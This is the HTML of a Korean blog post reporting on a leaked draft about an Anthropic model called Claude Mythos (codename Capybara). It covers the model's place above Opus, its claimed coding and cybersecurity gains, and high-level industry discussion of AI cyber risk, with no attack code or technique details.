&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 2 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Claude Mythos와 Capybara 계층&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;두 이름의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출된 자료에서 모델은 두 가지 이름으로 등장한다. &lt;b&gt;Claude Mythos&lt;/b&gt;(미토스)와 &lt;b&gt;Capybara&lt;/b&gt;(카피바라)다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&amp;bull; Fortune 원본 보도는 두 이름이 &lt;b&gt;동일 모델&lt;/b&gt;을 가리키는 것으로 서술한다.&lt;br /&gt;&amp;bull; 일부 2차 매체는 Capybara를 &quot;독립된 새 계층 이름&quot;으로 해석하지만, 이는 Fortune 원본에 기반한 추가 해석이다.&lt;br /&gt;&amp;bull; &quot;Capybara가 계층 이름인지, 아니면 모델의 후보 이름인지&quot;는 &lt;b&gt;Anthropic이 아직 공식 확인하지 않았다.&lt;/b&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Fortune 원본 보도를 기준으로 정리하면, 초안 블로그 포스트 버전 1은 &quot;Mythos&quot;라는 이름을 사용하고, 버전 2는 &quot;Capybara&quot;라는 이름을 사용했다. 두 문서 모두 동일한 신규 최상위 모델을 설명한다. 본 글에서는 일반적으로 통용되는 표현인 &lt;b&gt;Claude Mythos(코드명 Capybara)&lt;/b&gt;로 통일해 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Capybara: Opus를 넘는 새 계층&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJyLhf/dJMcaiQgcRu/3oM8oec5WtPTtHB9U5yqD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJyLhf/dJMcaiQgcRu/3oM8oec5WtPTtHB9U5yqD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJyLhf/dJMcaiQgcRu/3oM8oec5WtPTtHB9U5yqD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJyLhf%2FdJMcaiQgcRu%2F3oM8oec5WtPTtHB9U5yqD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2046&quot; height=&quot;1112&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출 문서에는 Capybara에 대해 이렇게 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Fortune, 2026-03-26)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #b3d9ff;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;Capybara 계층의 위치&lt;/h3&gt;
&lt;p style=&quot;margin: 0; line-height: 1.8;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Capybara는 새로운 모델 계층의 새로운 이름이며, 지금까지 가장 강력했던 Opus보다 더 크고 지능적이다. 단, 더 비싸다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-style: italic; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(유출된 초안 블로그 포스트 내용, Fortune 인용)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 앤트로픽의 모델 계층은 하이쿠(Haiku) &amp;rarr; 소네트(Sonnet) &amp;rarr; 오퍼스(Opus) 순으로 구성되어 있다. Capybara는 이 Opus 위에 새로운 최상위 계층으로 자리 잡는다. 이는 단순한 버전 업그레이드가 아니라 &lt;b&gt;계층 자체의 확장&lt;/b&gt;이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;계층&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대표 모델&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Haiku&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Claude Haiku 4.5&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;속도&amp;middot;비용 최적화, 경량&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;정식 출시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Sonnet&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Claude Sonnet 4.6&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;균형형, 범용&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;정식 출시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Opus&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Claude Opus 4.6&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;최고 성능, 복잡한 작업&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;정식 출시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Capybara&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude Mythos&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Opus를 초월, 극도의 성능&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;얼리 액세스 테스트 중&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px; font-style: italic; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;※ 계층 구조는 유출 초안 문서 및 Fortune 보도 기반. 정식 출시 전까지 변경될 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;지금까지 개발한 AI 모델 중 단연 가장 강력한&quot;&lt;/h3&gt;
&lt;figure class=&quot;imageblock floatRight&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A8HDx/dJMcafe0ZEf/J6UCKa7u9KNk2QCktPUViK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A8HDx/dJMcafe0ZEf/J6UCKa7u9KNk2QCktPUViK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A8HDx/dJMcafe0ZEf/J6UCKa7u9KNk2QCktPUViK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA8HDx%2FdJMcafe0ZEf%2FJ6UCKa7u9KNk2QCktPUViK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1086&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출 문서에서 가장 인상적인 표현은 앤트로픽의 자기 평가다. 유출된 초안에는 Claude Mythos에 대해 &lt;b&gt;&quot;지금까지 개발한 AI 모델 중 단연 가장 강력한 모델(by far the most powerful AI model we've ever developed)&quot;&lt;/b&gt;이라고 적혀 있다. 앤트로픽 대변인도 이 모델이 &quot;step change&quot;를 가져올 것이라고 공식 확인했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026-03-26&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 3 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 성능 &amp;mdash; 무엇이 다른가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;코딩 &amp;middot; 추론 &amp;middot; 사이버보안&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출된 초안 문서는 Claude Opus 4.6과 Capybara(Mythos)를 비교하며 구체적인 영역을 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Fortune, 2026-03-26)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 10px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;유출 초안 원문 인용&lt;/b&gt;&lt;br /&gt;&quot;Compared to our previous best model, Claude Opus 4.6, Capybara gets &lt;b&gt;dramatically higher scores&lt;/b&gt; on tests of &lt;b&gt;software coding, academic reasoning, and cybersecurity&lt;/b&gt;, among others.&quot;&lt;br /&gt;&lt;br /&gt;(&amp;ldquo;기존 최고 성능 모델인 Claude Opus 4.6과 비교하면, Capybara는 소프트웨어 코딩, 학문적 추론, 사이버보안 등 다양한 테스트에서 훨씬 뛰어난 점수를 보여줍니다.&amp;rdquo;)&lt;br /&gt;&lt;br /&gt;(유출된 앤트로픽 초안 블로그, Fortune 보도)&lt;/div&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&amp;bull; &quot;dramatically higher scores&quot;는 정성적 표현이며 구체적인 수치 벤치마크는 유출 문서에서 공개되지 않았다.&lt;br /&gt;&amp;bull; 정확한 점수 차이와 벤치마크 환경은 앤트로픽의 공식 성능 보고서 발표를 기다려야 한다.&lt;br /&gt;&amp;bull; 현재로서는 앤트로픽의 자체 평가이며 독립 제3자 검증은 이루어지지 않았다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;step change&quot;의 의미&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽이 사용한 &quot;step change&quot;라는 표현은 단순한 점진적 개선(incremental improvement)이 아닌 &lt;b&gt;질적으로 다른 도약&lt;/b&gt;을 의미한다. AI 모델 발전에서 이 표현은 새로운 능력 영역이 열렸을 때 사용하는 업계 용어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽이 자체적으로 이 표현을 사용하는 경우는 드물다. 이번 유출과 대변인의 공식 발언 모두 일관되게 &quot;step change&quot;를 사용했다는 점은 주목할 만하다. 다만 구체적으로 어떤 새로운 능력이 생겼는지는 공식 발표 전까지 추정, 추측 수준에서만 논의 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁 구도 &amp;mdash; GPT-5, Gemini 3와의 맥락&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L1iCm/dJMcaf0ka2N/uMhUpsK1TL8fzwtftNdppK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L1iCm/dJMcaf0ka2N/uMhUpsK1TL8fzwtftNdppK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L1iCm/dJMcaf0ka2N/uMhUpsK1TL8fzwtftNdppK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL1iCm%2FdJMcaf0ka2N%2FuMhUpsK1TL8fzwtftNdppK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1090&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Mythos의 &quot;step change&quot;가 업계에서 어떤 의미인지 이해하려면, 동시대 경쟁 모델들의 위치를 함께 봐야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론티어 AI 현황 비교 (2026년 3월 기준)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;주요 강점&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;출처/상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Claude Mythos&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;코딩&amp;middot;학술추론&amp;middot;사이버보안 &quot;dramatically higher&quot;, &quot;step change&quot; &amp;mdash; Opus 4.6 대비&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;유출 문서 / Fortune (2026-03-26). 얼리 액세스 테스트 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;GPT-5 계열&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;코딩&amp;middot;에이전틱 작업 강화, SWE-bench 고점. GPT-5.1-Codex-Max는 사이버 CTF 76%&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;OpenAI 공식 발표. 정식 출시 완료 단계 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Gemini 3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;에이전틱/vibe coding, 멀티모달 추론 강화&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;Google DeepMind FSF v3 (2025-09-22) 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5 계열이 코딩과 에이전틱 작업에서 강세를 보이는 동안, 앤트로픽은 Claude Mythos로 &lt;b&gt;사이버보안 역량을 차별화 축&lt;/b&gt;으로 내세우고 있다는 점이 유출 문서에서 읽힌다. 다만 이는 앤트로픽 내부 문서의 자기 평가이며, GPT-5와의 직접 벤치마크 비교는 공식 발표 이후에야 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 4 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 전례 없는 사이버보안 위험&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내부 경고 내용&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t4u9i/dJMcagLJWOn/lYbEdFC7dvRXv85UjG9wz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t4u9i/dJMcagLJWOn/lYbEdFC7dvRXv85UjG9wz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t4u9i/dJMcagLJWOn/lYbEdFC7dvRXv85UjG9wz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft4u9i%2FdJMcagLJWOn%2FlYbEdFC7dvRXv85UjG9wz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1062&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 유출에서 가장 충격적인 부분은 &lt;b&gt;앤트로픽 자신이 자사 모델의 위험을 경고&lt;/b&gt;하는 내용이었다. 유출 문서에는 다음과 같은 표현이 포함됐다. (출처: Fortune, The Decoder, 2026-03-26)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;유출 문서의 경고 표현&lt;/b&gt;&lt;br /&gt;1. &lt;b&gt;&quot;currently far ahead of any other AI model in cyber capabilities&quot;&lt;/b&gt;&lt;br /&gt;(현재 사이버 역량에서 다른 어떤 AI 모델보다 훨씬 앞서 있다)&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;&quot;unprecedented cybersecurity risks&quot;&lt;/b&gt;&lt;br /&gt;(전례 없는 사이버보안 위험)&lt;br /&gt;&lt;br /&gt;3. Fortune 보도에 따르면, 유출 문서는 이 시스템이 방어자들의 대응 속도를 크게 앞지르는 방식으로 취약점을 악용할 수 있는 모델들의 등장을 예고한다고 서술했다. (원문 취지 요약 &amp;mdash; 직접 인용 아님)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공격자 vs 방어자 비대칭&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이버보안 분야에서 AI의 등장은 공격과 방어 모두에 영향을 미친다. 그런데 이번 유출 문서가 특별히 경고하는 것은 &lt;b&gt;비대칭성&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;방어자는 넓은 표면(전체 코드베이스, 모든 시스템)을 지켜야 하는 반면, 공격자는 단 하나의 취약점만 찾으면 된다. AI가 취약점 탐색 속도를 획기적으로 높인다면, 이 비대칭성은 더욱 심화된다. 앤트로픽의 내부 문서는 이 모델이 방어자가 대응하기 전에 취약점을 악용할 수 있는 속도를 가질 수 있다고 경고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바로 이 때문에 앤트로픽이 출시 전략에서 &lt;b&gt;사이버 방어 조직에 먼저 접근권을 주는 방향&lt;/b&gt;을 고려하고 있다는 내용이 유출 문서에 포함됐다. 공격자보다 방어자가 먼저 준비할 수 있도록 하겠다는 취지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;업계 전반의 사이버 위험 &amp;mdash; Anthropic만의 문제가 아니다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;unprecedented cybersecurity risks&quot;라는 표현을 앤트로픽 단독의 과장으로 읽으면 안 된다. 경쟁사들도 같은 문제를 인식하고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론티어 AI 사이버 역량 &amp;mdash; 업계 현황&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;사이버 관련 공식 평가&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;정책 대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Claude Mythos&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;내부 문서: &quot;다른 어떤 AI보다 사이버 역량 far ahead&quot;, &quot;unprecedented risks&quot; &amp;mdash; 유출 문서 기반 [UNVERIFIED 공식 미확인]&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;방어 조직 얼리 액세스 우선 검토 (유출 초안)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;GPT-5.1-Codex-Max&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;CTF 벤치마크 76%&lt;/b&gt; (GPT-5 기준 27%에서 급상승) &amp;mdash; OpenAI Preparedness Framework 기준 High cybersecurity capability (출처: OpenAI, 2025-12-10)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;Preparedness Framework Critical 평가 시 배포 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Gemini 3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;Google FSF v3 (2025-09-22): &quot;improved protection against misuse via cyberattacks&quot; 명시 &amp;mdash; 사이버공격 오용 방지 강화&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;CCL(Critical Capability Level) 기반 alert threshold 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, &quot;unprecedented&quot;라는 앤트로픽의 표현은 &lt;b&gt;Anthropic 자신의 이전 모델 대비&lt;/b&gt; 전례 없는 수준이라는 의미이면서, 동시에 GPT-5.1-Codex-Max가 이미 CTF 76%를 기록하는 등 &lt;b&gt;업계 전체가 함께 직면한 사이버 dual-use 리스크&lt;/b&gt;의 한 단면이기도 하다. Anthropic만 위험한 모델을 만드는 것이 아니라, 프론티어 AI 전반이 이 임계점에 도달하고 있다는 신호다.&lt;/p&gt;
